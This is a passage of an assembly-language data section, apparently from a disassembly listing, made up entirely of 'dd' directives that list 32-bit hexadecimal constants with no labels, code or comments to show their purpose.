		dd 0A7F78B05h, 0D19220AEh, 19C3F2F3h, 140B9A09h, 11EAC11Ah
		dd 42F140ABh, 0CBC927B2h, 0BD9705EDh, 0B76546C4h, 46295EEBh
		dd 0C31690F6h, 81AE56DBh, 0BA1CEC53h, 9AFA5C44h, 0B4661FA8h
		dd 56EE84C2h, 0AB6F79AEh, 0E337FD5Dh, 9DC45921h, 0EA2CAF31h
		dd 6E964282h, 99D81254h, 0E0FD29FBh, 23B43526h,	0E436A6E3h
		dd 7BC1E9C9h, 3EAC500h,	0F58378C6h, 0D5631B1Eh,	0E3FC629Ah
		dd 3FA6CD2Ch, 3FE411B8h, 0CE71EC3Eh, 0ECE58719h, 642AF592h
		dd 160D75C5h, 0D18B957Ch, 652FC631h, 420AE21h, 0B452409Eh
		dd 4271DAE0h, 4FB62F6Fh, 699B9600h, 31551202h, 7B4864A1h
		dd 165A27A0h, 0AC6C0292h
		dd 0CFF4D4F1h, 85862760h, 7603A1C5h, 502FAB7Eh,	0E95BFA6Ch
		dd 8490A5DCh, 0EFB79776h, 0A936133Bh, 0DE4AE47Ch, 0CE1CF067h
		dd 28690A1Eh, 0C3BA5B42h, 0B130BDACh, 2975AFE8h, 0A38DBBFBh
		dd 7FD9E4EAh, 0FDC0D7F5h, 0D8FBF163h, 30BA1FDFh, 1291B767h
		dd 0CB0050E2h, 8160CFF8h, 0B021BBC4h, 9C0D002Ah, 0DCD1A7D4h
		dd 0DDB5FEFCh, 0F1E231D8h, 0A7450D62h, 0D5618D02h, 1C4B5BA6h
		dd 0D3B4C531h, 10CF59F9h, 0ED1F2DF7h, 5F8E80D8h, 857CB5EEh
		dd 2552829Ch, 38382FCBh, 9F83FE67h, 4E2625D3h, 6EEA45B1h
		dd 1370AF6Ah, 6A474403h, 0DF87D3F8h, 0B4DDB71Fh, 0AA0DE557h
		dd 0AF7FCDCCh, 67E02B48h, 0A837EC8h, 5BBAFE8h, 74A33656h
		dd 0C4EFEFFBh, 11C3E351h, 9E747E1h, 65CC6F7Eh, 2F967D7Ch
		dd 0CE9E5A64h, 79AE57F0h, 6E540F40h, 64BA7FD2h,	0D5F81799h
		dd 0C4D66251h, 91B994FCh, 5B296C9Dh, 6041182Dh,	2C18671h
		dd 747919BDh, 6FBB6AC1h, 0DBD9BE3Bh, 83BFB659h,	8C826628h
		dd 0A4D8906Bh, 0CA078766h, 0E9A575DAh, 0A8081A91h, 911545DFh
		dd 1CEB9562h, 0E54A5D04h, 0FF88804Bh, 0EC9D6FAh, 81048A13h
		dd 0B49EEE01h, 0D8E694FFh, 7BED3F80h, 0CCC0D3A1h, 6EE12C28h
		dd 362FF0F6h, 2981CD92h, 2DA7B09Ch, 86293763h, 40022A3Bh
		dd 96AA51C9h, 0F814DAB6h, 0C4D63FBFh, 564D088Ch, 0AB91AD35h
		dd 5B21CC77h, 0D128FB99h, 34685270h, 0BEC71B6Ah, 0ADAFE046h
		dd 686981CCh, 200D40A7h, 0E72BA2BCh, 72BC2789h,	90B55E39h
		dd 0E51718C9h, 81CF16F6h, 2BEC7CA0h, 0F46F7946h, 7D70812Ah
		dd 76596221h, 91F3B574h, 8CE5595Fh, 9B2FB1A2h, 875428F1h
		dd 0A1D4730Dh, 943A1F0Dh, 0A7DA12EBh, 70DB95BAh, 6104DC5Ah
		dd 2A4A1AFBh, 2C1B716Ah, 22ED6907h, 0AC3EC139h,	0BBFB38C4h
		dd 0A936979Dh, 0EE9B7370h, 2C3232DDh, 0B918DF3Eh, 226E3705h
		dd 0C837836h, 0F65E534Bh, 53708F36h, 0F0BEAA69h, 0D8DE62CDh
		dd 11C0F456h, 0A1EA074h, 91E909E8h, 0EC9B6800h,	0FCCD5336h
		dd 25AC24B6h, 0B142F53Bh, 9590CA09h, 3CD3D855h,	2BC0CDD7h
		dd 0EEEE296Ch, 70498FA6h, 91809B35h, 0B904BE88h, 0F8465AD1h
		dd 5FE8897Ah, 59A67BA2h, 39082925h, 0F9F2CFC4h,	0BAE5AA6Ah
		dd 696ECBA1h, 3B3D206Bh, 7C26F323h, 0FC994ED4h,	9A3AEAD1h
		dd 0A22D987Bh, 61A2EE5Ch, 0CAEBFC8Ch, 17BD440Eh, 0BD3D7062h
		dd 0A573AC54h, 93EE6DA0h, 9DB90B91h, 0A7A0C37Ah, 50431793h
		dd 0B0AA187Fh, 3C2ECEF6h, 8F6C1398h, 4A148DBFh,	6BD0E3BDh
		dd 3F14E7Eh, 5B0D2EE0h,	0DC3F01Ah, 0D021AF28h, 9D861C54h
		dd 0B9539B65h, 1C15AB83h, 699EA651h, 7695C7B0h,	0D7BE6B5Bh
		dd 0A0154385h, 1D5418F3h, 0AC70AE4Ch, 0D82E79FFh, 60AA35E4h
		dd 7CC91A47h, 0F4E7E1F2h, 25E5492Fh, 0AF2414AFh, 0AB1D4812h
		dd 95CA3E58h, 834713E6h, 1DB662E9h, 6C93BA19h, 0F8089C03h
		dd 0DE30887Ah, 1F4EBAEBh, 32DF5F1Eh, 789361BBh,	614B794Dh
		dd 0F29E1E0Fh, 0F9871272h, 0B47C92F9h, 9E30F85h, 943820A7h
		dd 341275Bh, 71CA411Eh,	82FA8B08h, 56B10FA0h, 8BA7D44Dh
		dd 4311EB5Dh, 4174C185h, 2F3FE0B4h, 0C830797Bh,	24535909h
		dd 0FB12A49Ch, 51989C66h, 3CECEE56h, 12E42F25h,	8A93043Fh
		dd 3B9B92D0h, 9CB71ED6h, 0F827F8E6h, 8F0F6A43h,	28656967h
		dd 76E3E39Eh, 0CD6345DDh, 3F6A3B7Bh, 98D40F3h, 0A8EA7F91h
		dd 2B0DD96Ah, 89C4691Fh, 7B684812h, 0DF215209h,	8367E4C8h
		dd 91F1AA8Bh, 9621ED8Ch, 8DC6FEDCh, 0FB8B1672h,	0FB72F9F9h
		dd 0DF54967Eh, 5D071006h, 876FE586h, 0B0AED201h, 66912922h
		dd 0FFD292B4h, 621BC090h, 369AE045h, 87BD218Dh,	93D433D7h
		dd 61AFCBBCh, 57CED4C3h, 7B68BE61h, 9378220Ah, 1221A6F0h
		dd 58D6B900h, 0C70C0BF3h, 0BEBBF82h, 0A001FD7Fh, 7652B60Bh
		dd 0A3356608h, 27F286EDh, 99F2A3F5h, 0F6A8B6DAh, 92CD19E8h
		dd 0EAB68A1Ah, 0B705E00Bh, 438E40A8h, 0A48C148Dh, 0A85AEA0Dh
		dd 4323F906h, 3643C05Ah, 0FB946F1h, 0EBDAB609h,	995C6B51h
		dd 0CDFDA626h, 252331BAh, 0A60E7D3h, 8FF3F0DCh,	0A3EC4A92h
		dd 0A6513586h, 508399DFh, 875DD554h, 0F9BE88DFh, 0E2585D2Ah
		dd 0D53ADDB5h, 0DD3EEFB7h, 668EC5EEh, 9A4C5CA4h, 0D72F7D16h
		dd 0E3893C35h, 0D1D1235Dh, 53E666CAh, 8F3EC0E5h, 0C38A59BFh
		dd 72C509F3h, 98681759h, 419D4DFBh, 8635C3C0h, 0DC45504Bh
		dd 6EF3A3EAh, 843700A5h, 2C7D882Dh, 0B32AAC23h,	3701CB26h
		dd 0E443E2A6h, 77E3574Ah, 0F8E76483h, 85AA2B98h, 4F0D6EE7h
		dd 0F275D4ACh, 6997DFF6h, 200D19CFh, 0A8FDD729h, 6DF29011h
		dd 70F06077h, 12D385EBh, 68084768h, 0D84D5DC0h,	73ED4C91h
		dd 45AB39F3h, 37F6BAAFh, 84B0E6Dh, 9AB64A42h, 56CD2D09h
		dd 4713FFE6h, 73023ABDh, 3881F6A6h, 409F9E32h, 14DF6343h
		dd 0B9902D0Eh, 8340456Eh, 0AB77FB53h, 57742304h, 98EB7037h
		dd 0AF68127Ch, 6394714Bh, 0F7AB4EBBh, 793F7FBEh, 25DF2174h
		dd 4720F436h, 7ECB25B0h, 26E49219h, 656411F1h, 3C36D48Ah
		dd 3D0D80ECh, 0A8EFD842h, 119B4BC4h, 8CD1E817h,	0E492C287h
		dd 0F77A63EEh, 77B67479h, 0CC5B20Fh, 1BB1F473h,	0ACA50A14h
		dd 7D7926BCh, 3E12A4D6h, 0C9157791h, 0AD22644Dh, 0D6758F08h
		dd 9E0CE930h, 0AB254C39h, 0C7979D0Ch, 6A989D7Ah, 0EB6C483Eh
		dd 4964F0DDh, 0C8532469h, 33667BAh, 0D3490AA5h,	0C788E69Fh
		dd 0CF79910Ah, 54135ED5h, 0E8B560A2h, 1E4CC5CBh, 696F423Dh
		dd 3897D989h, 7B40D30Dh, 0E1DA2CD4h, 176B527Fh,	0D0D975CCh
		dd 4F8E5B78h, 0B2150D23h, 8C508F0h, 1678E6C5h, 8A3DDC90h
		dd 0E0D7D98Fh, 0BAD84123h, 0A80ED407h, 4F73CC7Ch, 89B7A798h
		dd 515EDE90h, 0D48DEE55h, 86F2ABBh, 897128F7h, 5E107C4Bh
		dd 0D9BD7873h, 3F3E314Dh, 6648B802h, 6AFE1323h,	19A2E10Eh
		dd 0A239F589h, 33928C4Dh, 3A1D78D4h, 9CA6101Ch,	0E0502D8Fh
		dd 48956CD0h, 34F6DCEEh, 0A8493E7Fh, 2E1844AEh,	0BF5FFF71h
		dd 0F37F75D6h, 4E60E183h, 0D46DBD1h, 5167AE11h,	1AFE6093h
		dd 0A3728CD4h, 314172FAh, 0EF15C3DFh, 888F88A0h, 0F1E5A63Ch
		dd 0AA37CCB0h, 34A92060h, 0AA04F96Dh, 0E870050Ah, 0D8DE43BFh
		dd 0D36A3CE2h, 73F54607h, 0AAD40018h, 58E1BC2Fh, 41F83A94h
		dd 431EB91Ch, 2025BFB5h, 0EFED2F76h, 0C9B1EE83h, 2396F2D0h
		dd 2577F576h, 0A2606944h, 0DA72AC31h, 96B129E8h, 242BF46h
		dd 5203C30Bh, 8D42DE51h, 33A224F1h, 59CF6335h, 0D96DACB8h
		dd 4812D241h, 0EB686176h, 19AD660Fh, 0B90CA53Ah, 5E5E3A9Ah
		dd 5F38EA3h, 115D842Fh,	0BD9B7A6Ah, 0F2877659h,	18D4345Bh
		dd 111C6C23h, 0EA18801Ch, 0D6E4A138h, 0BFA12EE9h, 0EADE4D28h
		dd 39FC8BD3h, 2C51B556h, 9836D2F7h, 2BF8AF92h, 654B0E0h
		dd 9AB9A1CEh, 6DE74A9Ah, 41939CBBh, 86A9ECEFh, 36211CADh
		dd 6214019Ah, 5ABE405Ch, 6B2CB3FBh, 1CB0E2C4h, 57277E81h
		dd 8CA24B5Fh, 8F229F46h, 7BEFBD3Ah, 0AD0F2EDh, 0CD7AAE29h
		dd 2808BFC5h, 4628073Fh, 0AFB71273h, 0FBD2EFC3h, 7CB1D3C8h
		dd 0B691B774h, 0FE352B3Eh, 0F4F04E79h, 1DDD7160h, 4A02F98Eh
		dd 36C513Ch, 0BF16C647h, 0F0807E39h, 2D5B445h, 0A7B682B8h
		dd 0EC8F0BA7h, 1921611Dh, 3431DFDCh, 0BD89FC3Ch, 946AE57Dh
		dd 6145EE04h, 3987183h,	8FE0908Bh, 7BDCB353h, 511EF20h
		dd 174C1E36h, 7B216215h
		dd 2FF95BB7h, 0E80D040Fh, 3B7F5135h, 0DD360F45h, 3E30B67Ah
		dd 0A8605773h, 515B9141h, 2D098513h, 0CC4FCE4h,	6076C1AAh
		dd 1C112312h, 3C4DFA97h, 2767E815h, 99684A42h, 7FA2887Ch
		dd 1A213085h, 15DDBFD2h, 0E3D2593Dh, 8F39E04Ch,	0CFB7E9E9h
		dd 0E3EFD9F9h, 0B1F828C7h, 0FC19F67Ah, 0E535744Ah, 7DD13D7Dh
		dd 8401FE9Fh, 4668ECD1h, 9144078Fh, 0F42DE381h,	1B312B0Fh
		dd 98F96CE4h, 527CADEBh, 2F76D171h, 0B3E8E28Ch,	0BFE80123h
		dd 0CA8E1550h, 0C1EB22AEh, 6A620B7Ah, 0BC28C522h, 98CEA55Ah
		dd 0B381923Eh, 36A8C499h, 103C2076h, 70D88F19h,	949AD02Ch
		dd 0BD84BD7Ah, 8851C048h, 1382F5AAh, 0FDF9361Ah, 2E9BC659h
		dd 0F1300832h, 2D73042Dh, 0C7C50E63h, 2590B369h, 295AB23Ah
		dd 36345D00h, 370604C1h, 91FE7C78h, 1E1AFFC4h, 7AF6AACDh
		dd 7F64EDB9h, 47FB9CB1h, 2FB62C87h, 20630AF4h, 0C72D7AD6h
		dd 7698DB1Ah, 58A45791h, 0A006DF3Dh, 8F616924h,	3F23F4AEh
		dd 0FF74348Ah, 0BDF21516h, 0BEFB88B8h, 0EE39F6FCh, 8CB45B4Fh
		dd 7083A9FEh, 39FEB19Fh, 5F0AD534h, 56E61500h, 5A79EC55h
		dd 0B5BA21E1h, 97856FB6h, 4748816Eh, 0D1771AA3h, 99714AD2h
		dd 0AFFD4D29h, 2A6F5497h, 63EC8F92h, 2089066Ch,	336480BEh
		dd 4933527h, 99827A29h,	0AF5C74F2h, 0ACCE31Bh, 0F35D103Ah
		dd 0EBF416BAh, 432126ACh, 9B39F3F2h, 0F0111568h, 21AB5D00h
		dd 0AC4CED20h, 808D289Ch, 0CF8E14A0h, 0C2EA223Ch, 3577F8Dh
		dd 0A745F06h, 0A30AAD98h, 65E11BD1h, 213E1347h,	0B9455E49h
		dd 0F032A696h, 52F6E923h, 6A606D81h, 65A8F4BEh,	3972671Fh
		dd 0D6E36138h, 49AAFFA3h, 57943B7Dh, 80AE8842h,	0A5E6518h
		dd 0D213D651h, 69A442E6h, 42A05773h, 91773877h,	0C2E9B933h
		dd 0F40011BAh, 86AA81C4h, 9F9311Dh, 52BE8147h, 36608591h
		dd 0E732239Ch, 80AC748Ch, 0F77EE84Eh, 6DA8A6E1h, 0E378479Bh
		dd 1CE2E9DEh, 0FBCD507h, 0F9BB5A2Ah, 0EC71E508h, 5444EC8Dh
		dd 0DAA28AF9h, 8DC0EF8Fh, 72DD911Eh, 7B9C2CA0h,	98194866h
		dd 6DE17BAAh, 0B98BC4E5h, 96549339h, 3DB36572h,	45578ACFh
		dd 1101AEB3h, 9F0D4C7Bh, 0A02449CAh, 0BA915443h, 0BDC85CD6h
		dd 0B64AF1A8h, 0BD91E059h, 0E20A83CCh, 17CE978Eh, 3FD77839h
		dd 5528995Bh, 9CDF2294h, 311858h, 54714124h, 11A2A0ABh
		dd 0A74A8C0Bh, 0EB0ADB66h, 92777F77h, 0B2F8E66Bh, 0B4F14FE3h
		dd 0F01DFFF1h, 4CADB8ABh, 0F227061Ah, 15A286F6h, 3A3E2DC1h
		dd 70F75CC9h, 0E977EB55h, 17D1FCBCh, 0A7BDC02Ch, 22518D5Fh
		dd 72B8E0DBh, 0AC9833EDh, 4B1E1D6Dh, 1537AED4h,	920439C3h
		dd 28A9F55Ah, 0ACC8A5F6h, 42A0B3A7h, 4EE46731h,	33FCCBCh
		dd 3910DE5h, 8AAF2D18h,	7E527B5Ah, 791D5C51h, 18D7D029h
		dd 9DCCD52h, 0C3F3A251h, 110E4BD7h, 0A4E4021Bh,	23401468h
		dd 914FF1CBh, 711411F7h, 0F89E227Fh, 0DDB86920h, 48373A20h
		dd 15FBA15Fh, 0E5427BFAh, 58C5CC27h, 57EF8482h,	18728747h
		dd 51C49C9Ch, 0F32AAD67h, 0A33D0CAh, 0CDF433F7h, 400E412Bh
		dd 0E65DFD06h, 1DD5A6D0h, 866AF041h, 6B68C084h,	3747D945h
		dd 0C5D74F78h, 0DCD279CAh, 0BB31A44Fh, 97219F73h, 99E7813Eh
		dd 0E29E87C7h, 1F62B44Eh, 18B26B57h, 92C7AD7h, 0C0FDFD41h
		dd 0FE061853h, 7805B6FCh, 8ED6F226h, 2F830B9Ah,	1796399Ch
		dd 10BE64E4h, 84115ED3h, 0A8522609h, 817956A4h,	0D6F98A5Dh
		dd 5B42F0FCh, 0B283325Dh, 7301183Dh, 797DC608h,	0B96AF887h
		dd 1D01B36Ah, 9E511DE3h, 0B532E328h, 97B6956Dh,	0E72779B6h
		dd 90AB1CF0h, 0F38C2AD6h, 4A36222Bh, 157B5395h,	7DD710D7h
		dd 2680282Ch, 552653A9h, 622E0FFh, 0AF4C0597h, 6552241Dh
		dd 3E184622h, 0FD396CA3h, 557F73BEh, 75E1FEE6h,	409D395Ch
		dd 27E8346h, 0D5E2F5Ah,	11A8D875h, 0AA026065h, 0BB592F71h
		dd 99228A80h, 519AAF7Fh, 4B846990h, 5399ABF0h, 323D28DBh
		dd 5E5B54A3h, 19AAE73Dh, 567944BDh, 5622AA8Ah, 0EA1500DFh
		dd 0EB936936h, 0EF1B6279h, 341E60F1h, 6BA02CE8h, 0A20077DAh
		dd 0EEE09503h, 78BC7447h, 0D04C5E71h, 0DC40A436h, 0B5A28FC2h
		dd 0D225F923h, 0C202FF2Bh, 0F8EBB52Fh, 3E3EE415h, 1F73DD0h
		dd 74F3CE9h, 0DB136B71h, 0E2502300h, 4DA434FBh,	0EC25B0C0h
		dd 7C5BDE99h, 0ABA9375Fh, 8C85DD32h, 9BBD6EDAh,	44F8753Eh
		dd 0D380634Ah, 0E619A3Ah, 4325164Ah, 0A5E3ACEFh, 0B29BF108h
		dd 2DBD20D3h, 1EF9D678h, 34F875D3h, 614977B8h, 7091FA02h
		dd 839C430Bh, 0F57E7BCBh, 13BBE50Ch, 0F4C03EA5h, 0D60D5972h
		dd 8D236965h, 0E9DC4AAAh, 0E8BBD9CFh, 0B430691Ah, 0E4853349h
		dd 0B92AB8ADh, 17725785h, 8B28CEB7h, 0B6CC5214h, 7F678C78h
		dd 0E15E2ADBh, 46C91CF3h, 469D44CCh, 73ADB79Fh,	56D9F069h
		dd 9B6215E3h, 9B38344Fh, 18C01CEDh, 9BDF3514h, 0B10997D1h
		dd 9E086A48h, 0CE59B6AAh, 8267FBDFh, 0E5DFFCC0h, 5869D823h
		dd 0C77939CCh, 7067EE76h, 0C41A5542h, 0A224A8F8h, 42806554h
		dd 500FA0C4h, 0D543F520h, 0D0006CF4h, 37021A5Bh, 0F70ADA68h
		dd 0CEB71705h, 471DEFA7h, 828AC336h, 3C888471h,	0DFBC0095h
		dd 754AC4EAh, 9453C9E1h, 147EE8A0h, 63F1F273h, 9D336C3Bh
		dd 6A10C065h, 0C858D01Ah, 0EF45E561h, 0D7892E51h, 7521F6Eh
		dd 0A420AF72h, 30DF1122h, 0F5678382h, 0E801EDC7h, 6BC77E6Dh
		dd 0F529DE3h, 0EFD5B336h, 0F95028CBh, 618437D3h, 4F5249CEh
		dd 8E4DB9CAh, 0FA239F5Eh, 8FFFDAA7h, 16FCAEE5h,	2DA04212h
		dd 0ECFE4966h, 0AA86F486h, 71181ECBh, 63B56E8Eh, 9D251DFCh
		dd 4A479D1Bh, 215A37B5h, 3BCA2F34h, 0F0C33941h,	77A8D5F9h
		dd 856227BAh, 9A298DB8h, 1DEA7C17h, 3F7BA1D1h, 0C6133FD3h
		dd 0FFA53034h, 0E92AC0E2h, 0E4C3451Ch, 2CD49115h, 0ABC89B3Ch
		dd 2BA10BFEh, 0D15AACABh, 93DCBACh, 384FB5D1h, 0C6946957h
		dd 0CCE56EA8h, 5C040DF5h, 24BC8442h, 8B2647DFh,	0D5D1738Dh
		dd 0AC1018FDh, 0FEEB198Fh, 0F760470Dh, 1B2E863Dh, 81258EC3h
		dd 3CEF8B4Ah, 0AE53EC1Bh, 93D07FFBh, 0A41E4972h, 7EC15102h
		dd 9D8C184Ah, 0E84C6D32h, 0ADDC0CDBh, 5587BEA5h, 5196FAD1h
		dd 0D47E759h, 0CCD288C1h, 6CB37142h, 54EF5542h,	49DD6AE9h
		dd 44196004h, 19E28AAh,	87FC6544h, 0F4E6623Bh, 0B511675Bh
		dd 1A55A95Bh, 22E1E1DAh, 4F28030Ch, 0A1831B22h,	8E8C2CC9h
		dd 49F4D298h, 0B1694ADBh, 3771BA43h, 9CCD609Ch,	2D0C8995h
		dd 3A1495B9h, 0E7A690D0h, 49CCE320h, 8FBD6C4Ch,	7F9403C2h
		dd 630D280h, 73B352B3h,	179D38C3h, 0AD78913Ch, 6E3B02EFh
		dd 69C87132h, 8E89963Eh, 98A27D62h, 0FAD936E2h,	48EE7D44h
		dd 7145492Eh, 3B7D073Ch, 1457713Dh, 94F6EC15h, 0E61CC181h
		dd 0CF9C8580h, 2FF6FCDDh, 5A837482h, 6E392E9Ch,	85CFC8Dh
		dd 767ED320h, 437AE12Bh, 85C52E21h, 0C0EC06B2h,	5522299Dh
		dd 0D379A380h, 5FABABA4h, 89A28C3Dh, 0F805068Ah, 0FF8421C9h
		dd 0DCC7848Eh, 4F03AD64h, 0C3E6E25Ah, 0A060C7DEh, 38325700h
		dd 1EBFA8A4h, 0DB4A0A12h, 0CEE0BE9Fh, 0B3C82A12h, 42F32C17h
		dd 1C0635D2h, 0AA8A7D69h, 7E7406EFh, 26B19B95h,	5F0DB80Ch
		dd 2F91ED54h, 165A883Ch, 882EB599h, 32838DBCh, 222D0DB4h
		dd 24CF87D8h, 0FB4CDA34h, 0B2F18911h, 1313C674h, 1AD8B07Eh
		dd 746AA230h, 0AD05E4ECh
		dd 0BD7C014Ah, 1E6A1C17h, 0BB7E0C10h, 55125A5Ah, 0B705FBC1h
		dd 7C91BEDBh, 4F2BFF1Fh, 0C1509FF0h, 0E1CAAF3Ch, 0EF18D773h
		dd 0C63E22Ah, 43301D54h, 0D8F06FCEh, 0B4DFD9C0h, 86CE10ADh
		dd 0EBAA8ADAh, 4661799Fh, 0BD0DDFD1h, 8D0CDD33h, 0F70C7FA6h
		dd 0CB9D6A34h, 0A1F2CE0h, 0AA2E56DCh, 883FF9Bh,	0A5FC782Fh
		dd 161E501Ch, 90EA60C3h, 43A776D9h, 12992279h, 3CA11E20h
		dd 0EC44665Fh, 0C7FF8121h, 0FA8F1810h, 2912FDCBh, 41931AE0h
		dd 284AF1FAh, 50635232h, 0AE63F4DAh, 8E97E580h,	0AB879DE5h
		dd 0A80173Ah, 93B28BA0h, 9EFF0745h, 5D590BBAh, 0C2E9382Eh
		dd 1F6C1B79h, 19A73C5Eh, 0BDCF259Eh, 0BEBEA594h, 8F070514h
		dd 22781099h, 20C9913Fh, 889889E7h, 7F79479Ch, 5290E6D1h
		dd 7F3F5E5Ah, 0D0ED9AB4h, 7C0724FAh, 0B499B3FAh, 5810CC69h
		dd 98D3CDE1h, 0B7D8A2AFh, 0E6F36526h, 466C93D3h, 0BE31AFF0h
		dd 7987D240h, 473DE411h, 0B4C9DDF1h, 8DF1241Dh,	0F9933BC7h
		dd 7FADDB15h, 56868D6h,	948B33C0h, 0E08268CFh, 3542884Fh
		dd 0FA4186B7h, 95DFA8DEh, 2C34F9FCh, 4FE0F66Eh,	0E478EC38h
		dd 1A423ED5h, 403C9B38h, 0FEF47EC7h, 13259B63h,	41200778h
		dd 0BA89350Dh, 46DCCC2Ch, 3528087Ch, 0B0817257h, 97FA43DFh
		dd 68544613h, 8ED7A9A9h, 0A3557B7Fh, 83DF662Dh,	39D2FE09h
		dd 30471D14h, 3E21EBF2h, 3BE89BA9h, 0CDB63324h,	0AFEBEB94h
		dd 21216A65h, 6D5AF897h, 38D0DADBh, 0CB567ACDh,	7F0A3902h
		dd 8C4D0CB8h, 6C945DD3h, 0FC9ACECEh, 26DB784Fh,	0DF3E6C2Fh
		dd 741C2AD4h, 0DC64C188h, 0A580074Bh, 0BDEDDAB7h, 0A57F8B56h
		dd 0DE5543AFh, 541D9025h, 6CE2C78Dh, 0A627FD53h, 50144811h
		dd 6CCA297h, 7B119180h,	15E93678h, 96A9A64Eh, 288F6E19h
		dd 0AB0A40h, 7E260478h,	0D048F861h, 20424836h, 402390FEh
		dd 4ADFC1Bh, 4C0857A9h,	7F89100Eh, 85832174h, 2BF71ECDh
		dd 65DE0B83h, 3165E80Fh, 0A3C43422h, 0A902C7ACh, 0FFE56221h
		dd 0CC329F9Eh, 9B9EDD03h, 0FF9FDEDCh, 0DEDDB422h, 55CC2A52h
		dd 0AFCE9B97h, 46C5D05Fh, 3E564630h, 0D5E054ACh, 2B2C61Fh
		dd 40C42335h, 5CF7004Bh, 3B6B8218h, 0ED834D48h,	0BBD4BB43h
		dd 0F597F124h, 4F61F831h, 0AB695F00h, 0C98F2139h, 4E8FCC57h
		dd 6D342081h, 0E2AE1B0h, 748405E3h, 0BFA3ED37h,	0B7A41B37h
		dd 1FFFCB75h, 0B38E80B7h, 0D19D16E5h, 0F25D8243h, 7FE46108h
		dd 0DD422D11h, 0A19C7C64h, 84E4AEDAh, 0A2C8C77Ah, 895CA5CFh
		dd 0AC73AC8Ch, 4BB47F38h, 0DEA168C3h, 27535E57h, 0A7DF3BA9h
		dd 2FDAEC85h, 8DFE7BFAh, 0EF0EE522h, 0CED9A6F1h, 0ABEB0E44h
		dd 0B251559Dh, 0C7EF0890h, 0EECB41F1h, 3E4163F5h, 1B79A09Eh
		dd 13E1B846h, 5C746102h, 0D20331E2h, 66D76951h,	0E8247211h
		dd 0E30C70D3h, 0C20FA8EBh, 0A9CBEF53h, 0DD14E232h, 26ABADD4h
		dd 0AAC0E15Ch, 9EC9C510h, 606FD871h, 4AD3A7BDh,	37CF223Bh
		dd 69EF62CDh, 0CDA516B6h, 6DD4E85Ah, 86F99484h,	71B58AAEh
		dd 3E1AC16Ah, 5BB4AB4Fh, 0F24E8BFh, 0BF1E4057h,	45C976BDh
		dd 0C4F83011h, 639DBC4Eh, 0F3E1AA49h, 0DF148018h, 704009D2h
		dd 4C057FB7h, 771A3244h, 8243E190h, 0B178D41h, 0A27E38DBh
		dd 0DF1DC6BCh, 0C56D3CB3h, 0F16BCDA0h, 0E1EAEAC4h, 0B469480Eh
		dd 0EFEC8D8Ah, 0B3FE2B0Dh, 4E9AE3A0h, 978868AAh, 8865C62Bh
		dd 0F38E71DBh, 0FF1F86C4h, 7474F783h, 6F5D715Bh, 5B419Ch
		dd 0F5D227A5h, 0E02B6F9Dh, 0BA4F40CBh, 40FEC0CDh, 4D3FBA56h
		dd 0D1C12114h, 20CBCAD9h, 8496375Fh, 0E497CE2Ah, 0DF0FEE1Eh
		dd 6DD12016h, 8F5F99h, 0B7FDC405h, 8476025Dh, 51FFEE7Ah
		dd 0F74E216Fh, 8760BDFEh, 4E4608BCh, 6DD06F47h,	0E9C0A1FBh
		dd 9DFD5553h, 9A7DC672h, 0EF6A9895h, 0EF6A060Ch, 0F25B3424h
		dd 1C5647ECh, 0DC3D282h, 0F1BA435Ah, 0C4573CAh,	5E6335EFh
		dd 24FC6890h, 0EBDAE3C6h, 3F6B7F47h, 98CFE1DCh,	77EB6833h
		dd 19E8D69Ah, 128DE6BDh, 5FBBCC39h, 86206987h, 961AC39h
		dd 6C747653h, 7373714Ah, 47FCC25Ah, 0F52AEBC8h,	0D510D45Ah
		dd 0D38821FBh, 56EDCB27h, 463823F9h, 0FB50A856h, 55A88B9Fh
		dd 41E0065h, 0C13F9F01h, 2AF57F25h, 513C9227h, 0BF6F316h
		dd 442E7E88h, 6BAD795Dh, 0C76D109h, 389640C9h, 14CD89BAh
		dd 0AC4829E4h, 26DA3298h, 0DC2F9766h, 50EE65BEh, 13444C64h
		dd 3BA4C9D9h, 20057568h, 0C374E782h, 2745B65Fh,	0F479261h
		dd 3CFCB13Fh, 0B327E100h, 0D1714736h, 0A80E871Dh, 459D72A1h
		dd 0A4EE71BDh, 7A103AC0h, 0DC21CB52h, 98226FC1h, 6EE0BFC9h
		dd 0C062387Fh, 3A19E641h, 0D666B36Fh, 8B71EFF2h, 0C7B252DAh
		dd 2E32222Ah, 655D4Ch, 7AD120C4h, 0EB547231h, 51487624h
		dd 66B75414h, 75BADDF2h, 6ED3FC8Fh, 0C7922951h,	0F294F8A6h
		dd 0AD169A7Eh, 31A88C7Eh, 2C16C503h, 0D5A2375Ch, 1B1B839h
		dd 6E8A8866h, 319949h, 3CC30DBBh, 78DAF8DCh, 0D2A35304h
		dd 280F6913h, 0B9ECB68h, 0BFC48F53h, 70783ABCh,	687737D7h
		dd 373D7FB4h, 46A44D00h, 9064898h, 3EF7F4CEh, 99F035B5h
		dd 21E42AC7h, 375C6B6Fh, 9782FFCFh, 317573FDh, 0C2CD7EACh
		dd 0A10D5627h, 5738D10Bh, 0F5258DEDh, 35AF59AEh, 4EF33F00h
		dd 0C6670FC2h, 5E817DB4h, 8EC09975h, 3108A76Fh,	0E948519Dh
		dd 0A22171E1h, 1CA2A641h, 2FE456B6h, 0D6735401h, 0AC5A8918h
		dd 0B1925947h, 8F6C5C56h, 78F99FA5h, 0CB490542h, 0DA629982h
		dd 1F9A8C5h, 91408FCh, 7EF9D8D4h, 0CEB589B0h, 17DB2977h
		dd 0E5936DCCh, 474B64E9h, 4812D990h, 5EB95445h,	27793924h
		dd 0EB4B281Ah, 45218DD8h, 5315A6FEh, 6650D1h, 0C9C3FA97h
		dd 8DFE37B0h, 77B1D775h, 2F3CB44Fh, 27D6DB54h, 9E05B0C4h
		dd 0A415E99Ch, 25C8AFABh, 1BEB8133h, 0B48F7953h, 8069D97Fh
		dd 2C9AD7ECh, 0B5CD6491h, 3A4D5956h, 0A8931FE6h, 6F3E87A7h
		dd 50A041C9h, 6984DC20h, 3BC6FA8Bh, 0E8CD912Ah,	0AE5C990Ch
		dd 1C31097Fh, 2D77D16h,	0C2B70733h, 399C1AA4h, 72D08920h
		dd 0DFB75EE1h, 8973BB41h, 5A98C2F2h, 43295D6Bh,	0B1595E6Ah
		dd 8B73F45Fh, 157C8C73h, 0E80B52BAh, 0CA734237h, 367D1E44h
		dd 9CE28DDBh, 3213D940h, 0D7BC8837h, 8BCB7657h,	0E96EC0E9h
		dd 617651FFh, 667E1D4Ch, 0FBEB062Dh, 353D70AEh,	9EC7BB13h
		dd 0C8C24A45h, 0A1F3236Fh, 33E655B2h, 9FD0AFC3h, 41BB1C2Dh
